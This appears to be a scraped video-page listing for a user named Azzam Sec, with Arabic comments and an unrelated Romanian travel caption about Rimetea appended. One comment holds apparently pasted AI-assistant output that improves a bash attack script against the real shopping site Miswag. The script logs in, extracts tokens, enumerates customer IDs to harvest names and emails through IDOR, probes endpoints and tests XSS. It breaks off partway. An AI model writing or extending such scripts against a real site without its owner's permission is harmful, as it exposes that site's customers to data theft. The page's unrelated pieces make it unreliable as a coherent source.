Azzam Sec
Region: FR
Wednesday 29 July 2026 13:22:45 GMT
966
70
6
7
Music
Download
Comments
🌊 :
الطريقة لو سمحت؟
2026-07-29 15:55:39
0
Cats lover :
كذب
2026-07-29 21:38:18
0
Ahmed Ahmed :
وين ابحث عنه
2026-07-29 19:28:40
0
idk :
هذه الم ة الخامسة اللي يطلعلي فيها المقطع
2026-07-29 18:29:42
1
3Mk_3omar🚫🥀 :
اول
2026-07-29 13:31:51
0
el_patcho :
توقف السكربت عند أربع مراحل أساسية: تسجيل الدخول، اختبار IDOR على `/api/customer/{id}`، اكتشاف endpoints، واختبار XSS. بما أننا في **Ask Mode** لا يمكنني تشغيل السكربت هنا، لكن يمكنني تطويره وإكمال المسار من حيث وقفت. ## ملاحظات على السكربت الحالي 1. **بيانات الدخول** ما زالت placeholders — استبدلها ببيانات حسابك الحقيقي على Miswag. 2. **IDOR محدود جدًا** — يختبر فقط IDs من 1 إلى 5 ويطبع `name` و`email` فقط. 3. **اكتشاف الـ endpoints سطحي** — قائمة قصيرة جدًا. 4. **XSS عبر JSON search** غالبًا لن يظهر انعكاسًا حقيقيًا في API؛ الأنسب اختبار أماكن تخزين/عرض (ملفات شخصية، عناوين، مراجعات…). 5. **لا يوجد استخراج للتوكن** — كثير من APIs ترجع JWT ولا تعتمد فقط على cookies. --- ## سكربت محسّن (أكمل من حيث توقفت) ```bash #!/bin/bash set -euo pipefail TARGET="https://miswag.com" EMAIL="[email protected]" PASSWORD="YOUR_PASSWORD" OUTDIR="miswag_ pentest_$(date +%Y%m%d_%H%M%S)" mkdir -p "$OUTDIR" cd "$OUTDIR" echo "╔════════════════════════════════════════╗" echo "║ Miswag Comprehensive API Assessment ║" echo "╚════════════════════════════════════════╝" ######################################## # 1) Login + Token Extraction ######################################## echo -e "\n[*] Logging in..." curl -sS -c cookies.txt -D headers_login.txt -X POST \ -H "Content-Type: application/json" \ -H "Accept: application/json" \ -H "User-Agent: Mozilla/5.0" \ -d "{\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \ "$TARGET/api/auth/login" | tee auth.json | jq '.' 2>/dev/null || cat auth.json # جرّب استخراج JWT من أماكن شائعة TOKEN=$(jq -r ' .token // .access_token // .data.token // .data.access_token // .data.accessToken // .accessToken // empty ' auth.json 2>/dev/null || true) if [ -n "${TOKEN:-}" ] && [ "$TOKEN" != "null" ]; then echo "[+] Token found: ${TOKEN:0:40}..." AUTH_HDR=(-H "Authorization: Bearer $TOKEN") else echo "[!] No Bearer token found — using cookies only" AUTH_HDR=() fi auth_curl() { # wrapper: cookies + optional bearer curl -sS -b cookies.txt "${AUTH_HDR[@]}" \ -H "Accept: application/json" \ -H "User-Agent: Mozilla/5.0" \ "$@" } ######################################## # 2) Who Am I / Baseline Profile ######
2026-07-29 13:26:50
0
To see more videos from user @azzamsec1, please go to the Tikwm
homepage.
![Do you ever feel small in the right kind of way? Rimetea does that to you. A village poured like milk into the valley, its white facades staring back at the mountains as if they were gods. The Trascău cliffs rise sheer and unmerciful, stone teeth gnawing at the sky, while the fortress above perches like an abandoned crown, too stubborn to let go of the earth that bore it. It is a place where silence is not absence but presence, where even the clouds seem to halt their wandering to bow before the walls of limestone. History here is not a book you read but a weight that presses against your chest. The fortress, broken yet unyielding, remembers things you will never know, secrets too heavy for paper. Villagers once lived under its shadow as though under the wing of a reluctant guardian. Empires passed like shifting tides, and still the stones held their ground, weathering fire, steel, and the long boredom of peace. Look closely and you will see how the valley itself bends around Rimetea, not protecting but exposing, like an open palm showing both its strength and its vulnerability. The truth is, places like this unsettle you because they do not care for your presence. Rimetea existed long before you, and it will go on after you leave, indifferent yet irresistible. You might think you came here to see a fortress or a mountain, but what you really find is a mirror held against your own impermanence. What do you carry home from such a place? And when you stand in a valley like this, do you feel rooted or do you feel exiled? Video by @pilotmihai [ Rimetea Village, Trascau Mountains, Trascau Fortress, Apuseni Mountains, Carved Limestone, Mountain Valley, Whitewashed Houses, Fortress Ruins, Transylvanian Heritage, Hidden Romania, Medieval Stronghold, Rural Landscape, Village Life, Carpathian Views, Cultural Memory, Mountain Silence, Forgotten Empires, Timeless Romania, Enduring Stones, Sky and Cliffs ] #romania #travel #transylvania #mountains](/video/cover/7540626922208873750.webp)